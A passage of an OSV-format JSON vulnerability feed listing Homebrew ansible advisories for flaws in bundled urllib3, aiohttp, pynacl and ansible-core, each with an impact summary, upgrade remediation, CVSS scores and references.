records.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-p34h-wq7j-h5v6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61912"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/commit/6ea80326a34ee6093219628d7690bced50c49a3f"},{"type":"PACKAGE","url":"https://github.com/python-ldap/python-ldap"},{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/releases/tag/python-ldap-3.4.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-66418","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-66471","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69223","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-6mq8-rvhq-8wgg","CVE-2025-69223","PYSEC-2026-1101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb","details":"### Summary\nA zip bomb can be used to execute a DoS against the aiohttp server.\n\n### Impact\nAn attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69224","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-69f9-5gxw-wvc2","CVE-2025-69224","PYSEC-2026-1099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP's unicode processing of header values could cause parsing discrepancies","details":"### Summary\nThe Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-69f9-5gxw-wvc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69224"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69225","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-mqqc-3gqh-h2x8","CVE-2025-69225","PYSEC-2026-1109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has unicode match groups in regexes for ASCII protocol elements","details":"### Summary\n\nThe parser allows non-ASCII decimals to be present in the Range header.\n\n### Impact\n\nThere is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mqqc-3gqh-h2x8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69225"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69226","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-54jq-c3m8-4m76","CVE-2025-69226","PYSEC-2026-1097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to brute-force leak of internal static file path components","details":"### Summary\nPath normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the\nexistence of absolute path components.\n\n### Impact\nIf an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69226"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69227","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jj3x-wxrx-4x23","CVE-2025-69227","PYSEC-2026-1107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS when bypassing asserts","details":"### Summary\nWhen assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.\n\n### Impact\nIf optimisations are enabled (`-O` or `PYTHONOPTIMIZE=1`), and the application includes a handler that uses the `Request.post()` method, then an attacker may be able to execute a DoS attack with a specially crafted message.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jj3x-wxrx-4x23"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69227"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69228","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-6jhg-hg63-jvvf","CVE-2025-69228","PYSEC-2026-1100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to denial of service through large payloads","details":"### Summary\nA request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.\n\n### Impact\nIf an application includes a handler that uses the `Request.post()` method, an attacker may be able to freeze the server by exhausting the memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6jhg-hg63-jvvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69228"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69229","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-g84x-mcqj-x9qq","CVE-2025-69229","PYSEC-2026-1106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS through chunked messages","details":"### Summary\n\nHandling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks.\n\n### Impact\n\nIf an application makes use of the `request.read()` method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712\nPatch: https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69230","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-fh55-r93g-j68g","CVE-2025-69230","PYSEC-2026-1105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP Vulnerable to Cookie Parser Warning Storm","details":"### Summary\nReading multiple invalid cookies can lead to a logging storm.\n\n### Impact\nIf the ``cookies`` attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-fh55-r93g-j68g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69230"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2025-69277","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-mrfv-m5wm-5w6w","CVE-2025-69277","PYSEC-2026-1448","PYSEC-2026-3002"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.2","resource":"pynacl","resource_purl":"pkg:pypi/pynacl@1.6.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pynacl","subject_version":"1.6.2","key":"pkg:pypi/pynacl@1.6.2","resource":"pynacl"}]},"summary":"libsodium has Incomplete List of Disallowed Inputs","details":"libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.\n\nThis advisoory lists packages in the GitHub Advisory Database's [supported ecosystems](https://github.com/github/advisory-database?tab=readme-ov-file#supported-ecosystems) that are affected by this vulnerability due to a vulnerable dependency.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69277"},{"type":"WEB","url":"https://github.com/pyca/pynacl/issues/920"},{"type":"WEB","url":"https://github.com/hdwallet-io/python-hdwallet/pull/124"},{"type":"WEB","url":"https://github.com/jedisct1/libsodium/commit/ad3004ec8731730e93fcfbbc824e67eadc1c1bae"},{"type":"WEB","url":"https://github.com/paragonie/sodium_compat/commit/2cb48f26130919f92f30650bdcc30e6f4ebe45ac"},{"type":"WEB","url":"https://github.com/paragonie/sodium_compat/commit/4714da6efdc782c06690bc72ce34fae7941c2d9f"},{"type":"WEB","url":"https://github.com/pyca/pynacl/commit/96314884d88d1089ff5f336dba61d7abbcddbbf7"},{"type":"WEB","url":"https://github.com/pyca/pynacl/commit/ecf41f55a3d8f1e10ce89c61c4b4d67f3f4467cf"},{"type":"WEB","url":"https://00f.net/2025/12/30/libsodium-vulnerability"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/paragonie/sodium_compat/2025-12-30.yaml"},{"type":"PACKAGE","url":"https://github.com/paragonie/sodium_compat"},{"type":"WEB","url":"https://ianix.com/pub/ed25519-deployment.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00004.html"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=46435614"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-11332","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-w8p5-mx5w-cpqj","CVE-2026-11332","PYSEC-2026-3458"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.21.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.4","key":"pkg:pypi/ansible-core@2.21.4","resource":"ansible-core"}]},"summary":"ansible-core: Argument injection in ansible-galaxy role install leads to arbitrary code execution","details":"A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/87070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edee59aa15abcc74d920bb3e9c3835ab8db05a2f"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-11332"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11332.json"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-21441","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-22815","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-w2fm-2cpv-w7v5","CVE-2026-22815","PYSEC-2026-2094"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp allows unlimited trailer headers, leading to possible uncapped memory usage","details":"### Summary\n\nInsufficient restrictions in header/trailer handling could cause uncapped memory usage.\n\n### Impact\n\nAn application could cause memory exhaustion when receiving an attacker controlled request or response. A vulnerable web application could mitigate these risks with a typical reverse proxy configuration.\n\n-----\n\nPatch: 